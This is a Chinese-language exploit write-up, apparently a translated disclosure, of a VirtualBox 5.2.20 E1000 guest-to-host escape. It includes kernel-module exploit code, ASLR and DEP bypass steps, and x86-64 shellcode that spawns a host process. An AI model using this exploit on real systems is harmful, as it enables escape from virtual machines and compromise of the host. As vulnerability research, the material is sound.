VirtualBox虛擬機最新逃逸漏洞E1000 0day詳細分析(下)
近日,俄羅斯安全研究人員Sergey Zelenyuk發布了有關VirtualBox 5.2.20及早期版本的零日漏洞的詳細信息,這些版本可以讓攻擊者逃離虛擬機並在主機上執行 RING 3層的代碼。然後,攻擊者可以利用傳統的攻擊技術將許可權提升至 RING 0層。
漏洞利用
該漏洞利用Linux內核模塊(LKM)載入到客戶虛擬機操作系統中。如果虛擬機操作系統是Windows則只需要一個與LKM不同的驅動程序,這個驅動程序是初始化包裝器和內核API調用所需要的。
在兩個操作系統中載入驅動程序都需要提升許可權。利用提權很普遍,所以不被認為是一個不可逾越的障礙。看看研究人員在Pwn2Own競賽中使用的漏洞利用鏈:在客戶虛擬機操作系統中的瀏覽器打開一個惡意網站來利用漏洞,一個瀏覽器沙箱逃逸可以獲得完整的RING3訪問許可權,在你需要從虛擬機操作系統攻擊虛擬機管理程序的地方,你利用操作系統的漏洞可以將許可權提升至RING0。威力最強大的虛擬機管理程序漏洞肯定是那些可以從客戶虛擬機RING3中利用的漏洞。在VirtualBox中也有這樣的代碼,可以在沒有虛擬機root許可權的情況下執行,而且大部分代碼都沒有被審計過。
這個漏洞利用的成功率是100%。這就意味著它要麼總是可以成功,要麼永遠不會因為不匹配的二進位文件或其他沒有考慮到的更微妙的原因而導致利用失敗。至少在Ubuntu 16.04和18.04 x86_64 的虛擬機上使用默認配置的情況下利用是成功的。
開發漏洞利用程序
1.攻擊者卸載在Linux客戶虛擬機中默認載入的e1000.ko並載入漏洞利用程序的LKM。
2.LKM根據數據表初始化E1000。由於不需要接收另外一半,因此僅初始化發送一半。
3.第1步:信息泄露。
·a.LKM禁用E1000環回模式,使堆棧緩衝區溢出代碼不可達。
·b.LKM使用整數下溢漏洞使堆緩衝區溢出。
·c.堆緩衝區溢出導致攻擊者可以使用E1000 EEPROM在相對於堆緩衝區128 KB的範圍內寫入兩個任意位元組。因此攻擊者獲得了寫原語。
·d.LKM使用寫原語八次,將位元組寫入堆上的ACPI(高級配置和電源介面)數據結構。位元組被寫入堆緩衝區的索引變數,從中讀取單個位元組。由於緩衝區大小小於最大索引號(255),所以攻擊者可以讀取緩衝區,因此最終攻擊者獲得了讀原語。
·e.LKM使用讀原語八次,訪問ACPI並從堆中獲取8個位元組。這些位元組是VBoxDD.so共享庫的指針。
·f.LKM從指針中減去RVA獲得VBoxDD.so鏡像基址。
4.第2步:堆棧緩衝區溢出。
·a.LKM啟用E1000環回模式,使堆棧緩衝區溢出代碼可達。
·b.LKM使用整數下溢漏洞使堆緩衝區溢出以及棧緩衝區溢出。保存的返回地址(RIP / EIP)將被覆蓋。攻擊者獲得了控制權。
·c.執行ROP鏈來執行shellcode載入程序。
5第3步:shellcode。
·a.shellcode載入器從相鄰的棧中複製shellcode。shellcode被執行。
·b.shellcode執行fork和execve系統調用在主機端生成任意進程。
·c.父進程繼續運行進程。
6.攻擊者卸載LKM並載入e1000.ko允許虛擬機使用網路。
初始化
LKM映射了有關於E1000 MMIO的物理內存。物理地址和大小由管理程序預定義。
void* map_mmio(void) {
off_t pa = 0xF0000000;
size_t len = 0x20000;
void* va = ioremap(pa, len);
if (!va) {
printk(KERN_INFO PFX"ioremap failed to map MMIO
");
return NULL;
}
return va;
}
然後配置E1000通用寄存器,分配Tx Ring存儲器,配置發送寄存器。
void e1000_init(void* mmio) {
// Configure general purpose registers
configure_CTRL(mmio);
// Configure TX registers
g_tx_ring = kmalloc(MAX_TX_RING_SIZE, GFP_KERNEL);
if (!g_tx_ring) {
printk(KERN_INFO PFX"Failed to allocate TX Ring
");
return;
}
configure_TDBAL(mmio);
configure_TDBAH(mmio);
configure_TDLEN(mmio);
configure_TCTL(mmio);
}
ASLR繞過
寫原語
從漏洞利用程序的開發開始,我決定不使用默認情況下禁用的服務中的原語。首先要說的就是提供3D加速的Chromium服務(不是瀏覽器),去年研究人員發現了40多個漏洞。
現在的問題是在默認的VirtualBox子系統中發現信息泄漏。顯而易見的想法是,如果整數下溢允許溢出堆緩衝區,那麼我們就可以控制任何超過緩衝區的內容。接下來我們將看到我們並不需要一個額外的漏洞:整數下溢似乎非常強大,我們可以從中獲取讀取,寫入和信息泄漏的原語,這裡不是在堆棧緩衝區溢出。
讓我們來看看堆上究竟是什麼樣的溢出。
/** * Device state structure. */struct E1kState_st
{
... uint8_t aTxPacketFallback[E1K_MAX_TX_PKT_SIZE];
...
E1kEEPROM eeprom;
...
}
這裡aTxPacketFallback是一個大小為0x3FA0的緩衝區,它將溢出從數據描述符複製的位元組。在緩衝區之後搜索有趣的欄位我找到了E1kEEPROM結構,其中包含了具有以下欄位的另一個結構(src/VBox/Devices/Network/DevE1000.cpp):
/** * 93C46-compatible EEPROM device emulation. */struct EEPROM93C46
{
... bool m_fWriteEnabled; uint8_t Alignment1; uint16_t m_u16Word; uint16_t m_u16Mask; uint16_t m_u16Addr; uint32_t m_u32InternalWires;
...
}
我們怎麼能才能濫用它們呢?E1000實現了EEPROM,這是一個輔助適配器存儲器。客戶虛擬機操作系統可以通過E1000 MMIO寄存器訪問它。EEPROM實現了具有多個狀態的有限自動機,並執行四個動作。我們只對「寫入內存」感興趣。相關代碼如下(src/VBox/Devices/Network/DevEEPROM.cpp):
EEPROM93C46::State EEPROM93C46::opWrite()
{ storeWord(m_u16Addr, m_u16Word); return WAITING_CS_FALL;
}void EEPROM93C46::storeWord(uint32_t u32Addr, uint16_t u16Value)
{ if (m_fWriteEnabled) { E1kLog(("EEPROM: Stored word %04x at %08x
", u16Value, u32Addr));
m_au16Data[u32Addr] = u16Value;
}
m_u16Mask = DATA_MSB;
}
這裡的 m_u16Addr,m_u16Word和m_fWriteEnabled是我們控制的EEPROM93C46結構的欄位。我們可以通過某種方式使它們變形
m_au16Data[u32Addr] = u16Value;
語句將在m_au16Data的任意16位偏移處寫入兩個位元組,該偏移也屬於EEPROM93C46結構。之後我們就找到了一個寫原語。
讀原語
接下來的問題是在堆上找到數據結構以寫入任意數據,主要目標是泄漏一個共享庫指針來獲取其鏡像基址。希望不需要進行不穩定的堆噴射,因為虛擬設備的主要數據結構似乎是從內部虛擬機管理程序堆中分配的,它們之間的距離始終是恆定的,儘管它們的虛擬地址是由ASLR隨機化產生的。
啟動虛擬機時,PDM(可插入設備和驅動程序管理器)子系統在虛擬機管理程序堆中分配PDMDEVINS對象。
int pdmR3DevInit(PVM pVM)
{
...
PPDMDEVINS pDevIns; if (paDevs[i].pDev->pReg->fFlags & (PDM_DEVREG_FLAGS_RC | PDM_DEVREG_FLAGS_R0))
rc = MMR3HyperAllocOnceNoRel(pVM, cb, 0, MM_TAG_PDM_DEVICE, (void **)&pDevIns); else
rc = MMR3HeapAllocZEx(pVM, MM_TAG_PDM_DEVICE, cb, (void **)&pDevIns);
...
我使用腳本在GDB下跟蹤該代碼並得到以下結果:
[trace-device-constructors] Constructing a device #0x0:
[trace-device-constructors] Name: "pcarch", " 00"
[trace-device-constructors] Description: 0x7fc44d6f125a "PC Architecture Device"
[trace-device-constructors] Constructor: 0x7fc44d57517b
[trace-device-constructors] Instance: 0x7fc45486c1b0
[trace-device-constructors] Data size: 0x8
[trace-device-constructors] Constructing a device #0x1:
[trace-device-constructors] Name: "pcbios", " 00"
[trace-device-constructors] Description: 0x7fc44d6ef37b "PC BIOS Device"
[trace-device-constructors] Constructor: 0x7fc44d56bd3b
[trace-device-constructors] Instance: 0x7fc45486c720
[trace-device-constructors] Data size: 0x11e8
...
[trace-device-constructors] Constructing a device #0xe:
[trace-device-constructors] Name: "e1000", " 00"
[trace-device-constructors] Description: 0x7fc44d70c6d0 "Intel PRO/1000 MT Desktop Ethernet.
"
[trace-device-constructors] Constructor: 0x7fc44d622969
[trace-device-constructors] Instance: 0x7fc470083400
[trace-device-constructors] Data size: 0x53a0
[trace-device-constructors] Constructing a device #0xf:
[trace-device-constructors] Name: "ichac97", " 00"
[trace-device-constructors] Description: 0x7fc44d716ac0 "ICH AC"97 Audio Controller"
[trace-device-constructors] Constructor: 0x7fc44d66a90f
[trace-device-constructors] Instance: 0x7fc470088b00
[trace-device-constructors] Data size: 0x1848
[trace-device-constructors] Constructing a device #0x10:
[trace-device-constructors] Name: "usb-ohci", " 00"
[trace-device-constructors] Description: 0x7fc44d707025 "OHCI USB controller.
"
[trace-device-constructors] Constructor: 0x7fc44d5ea841
[trace-device-constructors] Instance: 0x7fc47008a4e0
[trace-device-constructors] Data size: 0x1728
[trace-device-constructors] Constructing a device #0x11:
[trace-device-constructors] Name: "acpi", " 00"
[trace-device-constructors] Description: 0x7fc44d6eced8 "Advanced Configuration and Power Interface"
[trace-device-constructors] Constructor: 0x7fc44d563431
[trace-device-constructors] Instance: 0x7fc47008be70
[trace-device-constructors] Data size: 0x1570
[trace-device-constructors] Constructing a device #0x12:
[trace-device-constructors] Name: "GIMDev", " 00"
[trace-device-constructors] Description: 0x7fc44d6f17fa "VirtualBox GIM Device"
[trace-device-constructors] Constructor: 0x7fc44d575cde
[trace-device-constructors] Instance: 0x7fc47008dba0
[trace-device-constructors] Data size: 0x90
[trace-device-constructors] Instances:
[trace-device-constructors] #0x0 Address: 0x7fc45486c1b0
[trace-device-constructors] #0x1 Address 0x7fc45486c720 differs from previous by 0x570
[trace-device-constructors] #0x2 Address 0x7fc4700685f0 differs from previous by 0x1b7fbed0
[trace-device-constructors] #0x3 Address 0x7fc4700696d0 differs from previous by 0x10e0
[trace-device-constructors] #0x4 Address 0x7fc47006a0d0 differs from previous by 0xa00
[trace-device-constructors] #0x5 Address 0x7fc47006a450 differs from previous by 0x380
[trace-device-constructors] #0x6 Address 0x7fc47006a920 differs from previous by 0x4d0
[trace-device-constructors] #0x7 Address 0x7fc47006ad50 differs from previous by 0x430
[trace-device-constructors] #0x8 Address 0x7fc47006b240 differs from previous by 0x4f0
[trace-device-constructors] #0x9 Address 0x7fc4548ec9a0 differs from previous by 0x-1b77e8a0
[trace-device-constructors] #0xa Address 0x7fc470075f90 differs from previous by 0x1b7895f0
[trace-device-constructors] #0xb Address 0x7fc488022000 differs from previous by 0x17fac070
[trace-device-constructors] #0xc Address 0x7fc47007cf80 differs from previous by 0x-17fa5080
[trace-device-constructors] #0xd Address 0x7fc4700820f0 differs from previous by 0x5170
[trace-device-constructors] #0xe Address 0x7fc470083400 differs from previous by 0x1310
[trace-device-constructors] #0xf Address 0x7fc470088b00 differs from previous by 0x5700
[trace-device-constructors] #0x10 Address 0x7fc47008a4e0 differs from previous by 0x19e0
[trace-device-constructors] #0x11 Address 0x7fc47008be70 differs from previous by 0x1990
[trace-device-constructors] #0x12 Address 0x7fc47008dba0 differs from previous by 0x1d30
注意E1000設備在#0xE位置。在第二個列表中可以看到,緊鄰的設備與E1000的偏移量為0x5700,下一個設備為0x19E0,依此類推。我們已經說過這些距離總是一樣的,這給了我們觸發漏洞的機會。
E1000之後的設備是ICH IC"97,OHCI,ACPI,VirtualBox GIM。在了解了他們的數據結構後我想到了使用寫原語的方法。
在虛擬機啟動時,將創建ACPI設備(src/VBox/Devices/PC/DevACPI.cpp):
typedef struct ACPIState
{
...
uint8_t au8SMBusBlkDat[32];
uint8_t u8SMBusBlkIdx;
uint32_t uPmTimeOld;
uint32_t uPmTimeA;
uint32_t uPmTimeB;
uint32_t Alignment5;
} ACPIState;
ACPI埠輸入/輸出處理程序註冊地址為0x4100-0x410F範圍。在0x4107埠的情況下,我們有:
PDMBOTHCBDECL(int) acpiR3SMBusRead(PPDMDEVINS pDevIns, void *pvUser, RTIOPORT Port, uint32_t *pu32, unsigned cb)
{
RT_NOREF1(pDevIns);
ACPIState *pThis = (ACPIState *)pvUser;
...
switch (off)
{
...
case SMBBLKDAT_OFF:
*pu32 = pThis->au8SMBusBlkDat[pThis->u8SMBusBlkIdx];
pThis->u8SMBusBlkIdx++;
pThis->u8SMBusBlkIdx &= sizeof(pThis->au8SMBusBlkDat) - 1;
break;
...
當客戶虛擬機操作系統執行INB(0x4107)指令從埠讀取一個位元組時,處理程序從u8SMBusBlkIdx索引處的au8SMBusBlkDat [32]數組中獲取一個位元組並將其返回給客戶虛擬機。這就是應用寫原語的方法:由於虛擬設備堆塊之間的距離是恆定的,所以從EEPROM93C46.m_au16Data數組到ACPIState.u8SMBusBlkIdx的距離也是恆定的。將兩個位元組寫入ACPIState.u8SMBusBlkIdx,我們可以從ACPIState.au8SMBusBlkDat中讀取255個位元組範圍內的任意數據。
這裡有一個問題。看一下ACPIState結構,可以看出數組放在結構的末尾。其餘的欄位對泄漏沒什麼用。那麼讓我們看一下在結構後面可以找到的東西:
gef x/16gx (ACPIState*)(0x7fc47008be70+0x100)+1
0x7fc47008d4e0:0xffffe981000000900xfffd9b2000000000
0x7fc47008d4f0:0x00007fc470067a000x00007fc470067a00
0x7fc47008d500:0x00000000a0028a000x00000000000e0000
0x7fc47008d510:0x00000000000e0fff0x0000000000001000
0x7fc47008d520:0x000000ff000000020x0000100000000000
0x7fc47008d530:0x00007fc47008c3580x00007fc44d6ecdc6
0x7fc47008d540:0x00310000359440000x00000000000002b8
0x7fc47008d550:0x00280001d38780000x0000000000000000
gef x/s 0x00007fc44d6ecdc6
0x7fc44d6ecdc6:"ACPI RSDP"
gef vmmap VBoxDD.so
Start End Offset Perm Path
0x00007fc44d4f3000 0x00007fc44d768000 0x0000000000000000 r-x /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d768000 0x00007fc44d968000 0x0000000000275000 --- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d968000 0x00007fc44d977000 0x0000000000275000 r-- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d977000 0x00007fc44d980000 0x0000000000284000 rw- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
gef p 0x00007fc44d6ecdc6 - 0x00007fc44d4f3000
$2 = 0x1f9dc6
似乎有一個指向字元串的指針,該字元串位於VBoxDD.so鏡像庫的固定偏移處。指針位於ACPIState末尾的0x58偏移處。我們可以使用原語逐位元組地讀取該指針,最後獲得VBoxDD.so鏡像庫基址。我們只希望通過ACPIState結構的數據在虛擬機每次啟動時都不是隨機的。希望0x58偏移處的指針始終不變。
信息泄漏
現在我們將寫入和讀取原語結合起來並利用它們來繞過ASLR。我們將溢出堆來覆蓋EEPROM93C46結構,然後觸發EEPROM有限自動機將索引寫入ACPIState結構,然後在客戶虛擬機中執行INB(0x4107)來訪問ACPI讀取指針的一個位元組。重複這個步驟八次,索引將遞增1。
uint64_t stage_1_main(void* mmio, void* tx_ring) {
printk(KERN_INFO PFX"##### Stage 1 #####
");
//當啟用環回模式時,每個Tx數據描述符的數據(實際上是網路數據包)
//被發送回 客戶虛擬機 並立即通過e1kHandleRxPacket進行處理。
//禁用環回模式時,數據會照常發送到網路。
//我們在第1階段禁用環回模式,在e1kHandleRxPacket函數中溢出堆但沒有接觸棧緩衝區。
//在第2階段,我們啟用了環回模式,並溢出了堆和棧緩衝區。
e1000_disable_loopback_mode(mmio);
uint8_t leaked_bytes[8];
uint32_t i;
for (i = 0; i
stage_1_overflow_heap_buffer(mmio, tx_ring, i);
leaked_bytes[i] = stage_1_leak_byte();
printk(KERN_INFO PFX"Byte %d leaked: 0x%02X
", i, leaked_bytes[i]);
}
uint64_t leaked_vboxdd_ptr = *(uint64_t*)leaked_bytes;
uint64_t vboxdd_base = leaked_vboxdd_ptr - LEAKED_VBOXDD_RVA;
printk(KERN_INFO PFX"Leaked VBoxDD.so pointer: 0x%016llx
", leaked_vboxdd_ptr);
printk(KERN_INFO PFX"Leaked VBoxDD.so base: 0x%016llx
", vboxdd_base);
return vboxdd_base;
}
之前說過為了使整數下溢不導致堆棧緩衝區溢出,應該配置某些E1000寄存器。這個想法是緩衝區在e1kHandleRxPacket函數中溢出,並且該函數在環回模式下處理Tx描述符時被調用。實際上,在環回模式下,客戶虛擬機會將網路數據包發送給自身,目的是在發送後立即接收到它們。我們禁用了此模式,因此無法訪問e1kHandleRxPacket。
DEP繞過
我們繞過了ASLR。現在可以啟用環回模式,並且可以觸發堆棧緩衝區溢出。
void stage_2_overflow_heap_and_stack_buffers(void* mmio, void* tx_ring, uint64_t vboxdd_base) {
off_t buffer_pa;
void* buffer_va;
alloc_buffer(&buffer_pa, &buffer_va);
stage_2_set_up_buffer(buffer_va, vboxdd_base);
stage_2_trigger_overflow(mmio, tx_ring, buffer_pa);
free_buffer(buffer_va);
}
void stage_2_main(void* mmio, void* tx_ring, uint64_t vboxdd_base) {
printk(KERN_INFO PFX"##### Stage 2 #####
");
e1000_enable_loopback_mode(mmio);
stage_2_overflow_heap_and_stack_buffers(mmio, tx_ring, vboxdd_base);
e1000_disable_loopback_mode(mmio);
}
現在,當執行e1kHandleRxPacket的最後一條指令時,保存的返回地址會被覆蓋,控制權可以轉移到攻擊者想要的任何地方。但DEP仍在起保護作用。可以用傳統的方式構建ROP鏈來繞過ROP。ROP分配可執行內存,將shellcode載入器複製到其中並執行shellcode。
編寫Shellcode
shellcode載入器很簡單。它複製緊挨著的要溢出的緩衝區的開頭。
use64
start:
lea rsi, [rsp - 0x4170];
push rax
pop rdi
add rdi, loader_size
mov rcx, 0x800
rep movsb
nop
payload:
; Here the shellcode is to be
loader_size = $ - start
要執行的shellcode的第一部分是:
use64
start:
; sys_fork
mov rax, 58
syscall
test rax, rax
jnz continue_process_execution
; Initialize argv
lea rsi, [cmd]
mov [argv], rsi
; Initialize envp
lea rsi, [env]
mov [envp], rsi
; sys_execve
lea rdi, [cmd]
lea rsi, [argv]
lea rdx, [envp]
mov rax, 59
syscall
...
cmd db "/usr/bin/xterm", 0
env db "DISPLAY=:0.0", 0
argv dq 0, 0
envp dq 0, 0
shellcode執行fork和execve來創建/usr/bin/xterm進程。攻擊者獲得對宿主機RING3的控制權。
虛擬機進程持續運行
我相信每個Exp都應該完全完成開發和利用。也就是說Exp不應該讓應用程序崩潰,當然,這並不總是完美的。我們需要讓虛擬機進程繼續執行,這是由shellcode的第二部分實現的。
continue_process_execution:
; Restore RBP
mov rbp, rsp
add rbp, 0x48
; Skip junk
add rsp, 0x10
; Restore the registers that must be preserved according to System V ABI
pop rbx
pop r12
pop r13
pop r14
pop r15
; Skip junk
add rsp, 0x8
; Fix the linked list of PDMQUEUE to prevent segfaults on VM shutdown
; Before: "E1000-Xmit" -> "E1000-Rcv" -> "Mouse_1" -> NULL
; After: "E1000-Xmit" -> NULL
; Zero out the entire PDMQUEUE "Mouse_1" pointed by "E1000-Rcv"
; This was unnecessary on my testing machines but to be sure...
mov rdi, [rbx]
mov rax, 0x0
mov rcx, 0xA0
rep stosb
; NULL out a pointer to PDMQUEUE "E1000-Rcv" stored in "E1000-Xmit"
; because the first 8 bytes of "E1000-Rcv" (a pointer to "Mouse_1")
; will be corrupted in MMHyperFree
mov qword [rbx], 0x0
; Now the last PDMQUEUE is "E1000-Xmit" which will not be corrupted
ret
當調用e1kHandleRxPacket時,調用堆棧如下:
#0 e1kHandleRxPacket
#1 e1kTransmitFrame
#2 e1kXmitDesc
#3 e1kXmitPacket
#4 e1kXmitPending
#5 e1kR3NetworkDown_XmitPending
...
我們將直接跳到e1kR3NetworkDown_XmitPending,這個函數不再做任何事情並返回到虛擬機管理程序功能。
static DECLCALLBACK(void) e1kR3NetworkDown_XmitPending(PPDMINETWORKDOWN pInterface)
{
PE1KSTATE pThis = RT_FROM_MEMBER(pInterface, E1KSTATE, INetworkDown);
/* Resume suspended transmission */
STATUS &= ~STATUS_TXOFF;
e1kXmitPending(pThis, true /*fOnWorkerThread*/);
}
shellcode將RB48添加到RBP,使其成為e1kR3NetworkDown_XmitPending中的值。接下來,寄存器RBX,R12,R13,R14,R15取自堆棧,因為System V ABI需要將其保存在被調用的函數中。如果沒有保存的話,虛擬機管理程序將因為其中的無效指針而崩潰。
做了這些事情後可能就足夠了,因為虛擬機進程不再崩潰並繼續執行。但是當VM關閉時,PDMR3QueueDestroyDevice函數中存在訪問衝突。原因是當堆溢出時,重寫的結構PDMQUEUE會被覆蓋。此外,它會被最後兩個ROP覆蓋,即最後16個位元組。我試圖減少ROP鏈的大小但以失敗告終,但是當我手動替換數據時,虛擬機管理程序仍然崩潰。如此看來,這個問題並不像看起來那麼明顯。
被覆蓋的數據結構是一個鏈表。要覆蓋的數據位於最後一個列表元素中; 下一個指針將被覆蓋。最後的結果很簡單:
; Fix the linked list of PDMQUEUE to prevent segfaults on VM shutdown
;Before: "E1000-Xmit" -> "E1000-Rcv" -> "Mouse_1" -> NULL
; After: "E1000-Xmit" -> NULL
將最後兩個元素的值設為NULL就可以使虛擬機順利關閉。
演示視頻
https://vimeo.com/299325088
※H1-5411 CTF通關Write-up
※通過Chrome濫用即時支付應用
TAG:嘶吼RoarTalk |